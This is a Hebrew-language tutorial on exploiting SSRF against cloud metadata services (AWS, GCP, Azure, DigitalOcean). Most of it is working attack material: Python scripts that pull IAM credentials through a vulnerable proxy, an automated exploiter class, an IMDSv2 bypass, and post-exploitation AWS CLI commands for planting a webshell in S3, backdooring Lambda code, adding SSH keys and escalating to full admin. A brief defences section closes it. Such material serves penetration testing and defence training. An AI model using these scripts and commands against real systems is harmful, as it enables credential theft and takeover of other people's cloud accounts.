לדלג לתוכן

תקיפת ענן דרך SSRF - Cloud Exploitation via SSRF

מבוא

אחד היעדים המשמעותיים ביותר של SSRF בסביבות ענן הוא שירות ה-Metadata. כל ספק ענן מספק שירות פנימי שדרכו מכונות וירטואליות יכולות לגשת למידע על עצמן - כולל הרשאות גישה. תוקף שמצליח לבצע SSRF יכול לגנוב את ההרשאות ולהשתלט על משאבי הענן.


שירות Metadata של AWS - IMDSv1

כתובת הבסיס

שירות ה-Metadata של AWS זמין בכתובת קבועה שאינה ניתנת לשינוי:

http://169.254.169.254/latest/meta-data/

מידע זמין

# מידע בסיסי על המכונה
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/instance-type
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4

# מידע על הרשת
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/meta-data/placement/region

# user-data - סקריפטים שרצים בהפעלה (לעיתים מכילים סודות)
http://169.254.169.254/latest/user-data

חילוץ הרשאות IAM

זו המטרה העיקרית - גניבת הרשאות הגישה לענן:

# שלב 1: מציאת שם ה-Role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# תשובה: MyEC2Role

# שלב 2: חילוץ ההרשאות
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role

תשובה לדוגמה:

{
  "Code": "Success",
  "LastUpdated": "2024-01-15T12:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA1234567890EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "FwoGZXIvYXdzEBYaDH...(long session token)...",
  "Expiration": "2024-01-15T18:00:00Z"
}

דוגמה מלאה לניצול SSRF לגניבת הרשאות

import requests

# שלב 1: ניצול SSRF לקריאת ה-Role
target = "https://vulnerable-app.com/proxy"
ssrf_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(target, params={"url": ssrf_url})
role_name = response.text.strip()
print(f"[+] Found role: {role_name}")

# שלב 2: חילוץ ההרשאות
creds_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(target, params={"url": creds_url})
creds = response.json()
print(f"[+] Access Key: {creds['AccessKeyId']}")
print(f"[+] Secret Key: {creds['SecretAccessKey']}")
print(f"[+] Token: {creds['Token']}")

IMDSv2 - הגרסה המאובטחת

כיצד IMDSv2 עובד

ב-IMDSv2, צריך קודם לבצע בקשת PUT כדי לקבל טוקן, ואז להשתמש בטוקן בכל בקשה:

# שלב 1: קבלת טוקן (בקשת PUT עם header מיוחד)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# שלב 2: שימוש בטוקן
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

מדוע IMDSv2 מגן מפני SSRF

  1. דורש בקשת PUT - רוב חולשות SSRF תומכות רק ב-GET
  2. דורש Header מותאם - קשה להעביר Headers דרך SSRF רגיל
  3. טוקן עם TTL - מוגבל בזמן
  4. חוסם בקשות עם X-Forwarded-For - מונע ניצול דרך פרוקסי

תרחישים שבהם IMDSv2 ניתן לעקיפה

# אם ל-SSRF יש שליטה מלאה על הבקשה (method + headers)
import requests

# שלב 1: בקשת PUT דרך ה-SSRF
token_response = requests.post(
    "https://vulnerable-app.com/proxy",
    json={
        "url": "http://169.254.169.254/latest/api/token",
        "method": "PUT",
        "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
    }
)
token = token_response.text

# שלב 2: שימוש בטוקן
creds_response = requests.post(
    "https://vulnerable-app.com/proxy",
    json={
        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "method": "GET",
        "headers": {"X-aws-ec2-metadata-token": token}
    }
)

שירות Metadata של GCP

כתובת הבסיס

http://metadata.google.internal/computeMetadata/v1/

כל בקשה ל-Metadata חייבת לכלול:

Metadata-Flavor: Google

חילוץ מידע

# מידע על המכונה
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/hostname

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/zone

# חילוץ טוקן של Service Account
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# מידע ברמת הפרויקט
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/project-id

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/attributes/

# SSH keys ברמת הפרויקט
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

דוגמת תשובה של טוקן

{
  "access_token": "ya29.c.ElpSB...(long token)...",
  "expires_in": 3600,
  "token_type": "Bearer"
}

עקיפת דרישת ה-Header

ב-GCP, ה-Header נדרש, מה שמקשה על SSRF רגיל. אבל:

# אם ה-SSRF תומך ב-redirect, ניתן להשתמש ב-redirect שמוסיף את ה-Header
# ב-Google Cloud Functions ישנות (Gen 1), ניתן היה לגשת ללא Header:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
# v1beta1 לא דרש את ה-Header (הושבת ברוב הסביבות)

שירות Metadata של Azure

כתובת הבסיס

http://169.254.169.254/metadata/instance?api-version=2021-02-01

דרישת Header

Metadata: true

חילוץ מידע

# מידע על המכונה
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# חילוץ Managed Identity טוקן
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# חילוץ טוקן ל-Storage
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/"

דוגמת תשובה

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
  "client_id": "12345678-1234-1234-1234-123456789012",
  "expires_in": "3600",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

שירות Metadata של DigitalOcean

# כתובת הבסיס (ללא Header נדרש!)
curl http://169.254.169.254/metadata/v1/

# מידע בסיסי
curl http://169.254.169.254/metadata/v1/hostname
curl http://169.254.169.254/metadata/v1/region
curl http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address

# user-data
curl http://169.254.169.254/metadata/v1/user-data

ב-DigitalOcean אין צורך ב-Header מיוחד, מה שהופך אותו לפגיע במיוחד ל-SSRF.


ניצול הרשאות גנובות - Post-Exploitation

שימוש בהרשאות AWS גנובות

# הגדרת ההרשאות הגנובות
export AWS_ACCESS_KEY_ID="ASIA1234567890EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEBYaDH..."

# בדיקת זהות
aws sts get-caller-identity

# תשובה לדוגמה:
# {
#     "UserId": "AROA1234567890:i-0abc123def456",
#     "Account": "123456789012",
#     "Arn": "arn:aws:sts::123456789012:assumed-role/MyEC2Role/i-0abc123def456"
# }

גישה ל-S3

# רשימת כל ה-Buckets
aws s3 ls

# רשימת קבצים ב-Bucket
aws s3 ls s3://company-backups/

# הורדת קבצים
aws s3 cp s3://company-backups/database-dump.sql ./

# העלאת webshell (אם יש הרשאות כתיבה)
aws s3 cp webshell.php s3://company-website/webshell.php

מניפולציה של Lambda Functions

# רשימת פונקציות
aws lambda list-functions

# קריאת קוד של פונקציה (כולל משתני סביבה עם סודות)
aws lambda get-function --function-name my-function
aws lambda get-function-configuration --function-name my-function

# עדכון קוד של פונקציה (backdoor)
aws lambda update-function-code \
  --function-name my-function \
  --zip-file fileb://malicious-code.zip

שליטה ב-EC2

# רשימת מכונות
aws ec2 describe-instances

# יצירת snapshot של דיסק (לחילוץ נתונים)
aws ec2 create-snapshot --volume-id vol-0abc123def456

# הוספת SSH key למכונה
aws ec2-instance-connect send-ssh-public-key \
  --instance-id i-0abc123def456 \
  --instance-os-user ec2-user \
  --ssh-public-key file://my-key.pub

הסלמת הרשאות דרך IAM

# בדיקת ההרשאות הנוכחיות
aws iam list-attached-role-policies --role-name MyEC2Role
aws iam get-role-policy --role-name MyEC2Role --policy-name MyPolicy

# אם יש הרשאת iam:PassRole + lambda:CreateFunction
# ניתן ליצור Lambda עם Role חזק יותר
aws lambda create-function \
  --function-name escalation \
  --runtime python3.9 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://code.zip

# אם יש הרשאת iam:CreatePolicyVersion
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

תצורות שגויות של S3

בדיקת גישה ל-Bucket

# בדיקת גישה אנונימית
aws s3 ls s3://target-bucket --no-sign-request

# בדיקת גישה עם הרשאות מאומתות
aws s3 ls s3://target-bucket

# בדיקת הרשאות כתיבה
echo "test" > test.txt
aws s3 cp test.txt s3://target-bucket/test.txt --no-sign-request

כלים לסריקת Buckets

# שימוש ב-AWS CLI לבדיקת ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

# בדיקת Bucket Policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request

זרימת תקיפה מלאה - SSRF לענן

SSRF באפליקציה
    |
    v
גישה ל-169.254.169.254
    |
    v
חילוץ שם ה-IAM Role
    |
    v
חילוץ Access Key + Secret Key + Token
    |
    v
שימוש בהרשאות מהמכונה המקומית
    |
    +---> גישה ל-S3 Buckets
    |
    +---> קריאת Lambda Functions (סודות במשתני סביבה)
    |
    +---> שליטה ב-EC2 Instances
    |
    +---> הסלמת הרשאות דרך IAM
    |
    v
השתלטות מלאה על חשבון הענן

סקריפט אוטומטי לניצול

import requests
import json
import subprocess

class AWSMetadataExploiter:
    def __init__(self, ssrf_url, param_name="url"):
        self.ssrf_url = ssrf_url
        self.param_name = param_name
        self.metadata_base = "http://169.254.169.254/latest"

    def fetch_via_ssrf(self, internal_url):
        response = requests.get(
            self.ssrf_url,
            params={self.param_name: internal_url}
        )
        return response.text

    def get_role_name(self):
        url = f"{self.metadata_base}/meta-data/iam/security-credentials/"
        role = self.fetch_via_ssrf(url).strip()
        print(f"[+] IAM Role: {role}")
        return role

    def get_credentials(self, role_name):
        url = f"{self.metadata_base}/meta-data/iam/security-credentials/{role_name}"
        creds_text = self.fetch_via_ssrf(url)
        creds = json.loads(creds_text)
        print(f"[+] Access Key: {creds['AccessKeyId']}")
        print(f"[+] Secret Key: {creds['SecretAccessKey'][:10]}...")
        print(f"[+] Expiration: {creds['Expiration']}")
        return creds

    def get_user_data(self):
        url = f"{self.metadata_base}/user-data"
        data = self.fetch_via_ssrf(url)
        print(f"[+] User Data:\n{data}")
        return data

    def exploit(self):
        print("[*] Starting AWS metadata exploitation...")
        role = self.get_role_name()
        creds = self.get_credentials(role)
        self.get_user_data()

        print("\n[*] Export commands:")
        print(f"export AWS_ACCESS_KEY_ID='{creds['AccessKeyId']}'")
        print(f"export AWS_SECRET_ACCESS_KEY='{creds['SecretAccessKey']}'")
        print(f"export AWS_SESSION_TOKEN='{creds['Token']}'")

        return creds

# שימוש:
# exploiter = AWSMetadataExploiter("https://vulnerable-app.com/proxy")
# exploiter.exploit()

הגנות

IMDSv2 ב-AWS

# הפעלת IMDSv2 בלבד (חסימת IMDSv1)
aws ec2 modify-instance-metadata-options \
  --instance-id i-0abc123def456 \
  --http-tokens required \
  --http-endpoint enabled

הגבלת רשת

# חסימת גישה ל-metadata מ-containers
iptables -A OUTPUT -d 169.254.169.254 -j DROP

# ב-Kubernetes - שימוש ב-NetworkPolicy

הרשאות מינימליות - Least Privilege

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject"
      ],
      "Resource": "arn:aws:s3:::my-specific-bucket/*"
    }
  ]
}

ניטור

# הפעלת CloudTrail לניטור שימוש בהרשאות
# זיהוי שימוש בהרשאות מ-IP חריג
# הגדרת alerts על פעולות רגישות

סיכום

ספק ענן כתובת Metadata דרישת Header רמת סיכון
AWS IMDSv1 169.254.169.254 ללא קריטי
AWS IMDSv2 169.254.169.254 טוקן מ-PUT בינוני
GCP metadata.google.internal Metadata-Flavor: Google גבוה
Azure 169.254.169.254 Metadata: true גבוה
DigitalOcean 169.254.169.254 ללא קריטי

הנקודה המרכזית: SSRF בסביבת ענן הוא לא רק קריאת קבצים פנימיים - זו דרך להשתלטות מלאה על תשתית הענן. הפעלת IMDSv2 והגדרת הרשאות מינימליות הן הגנות חובה.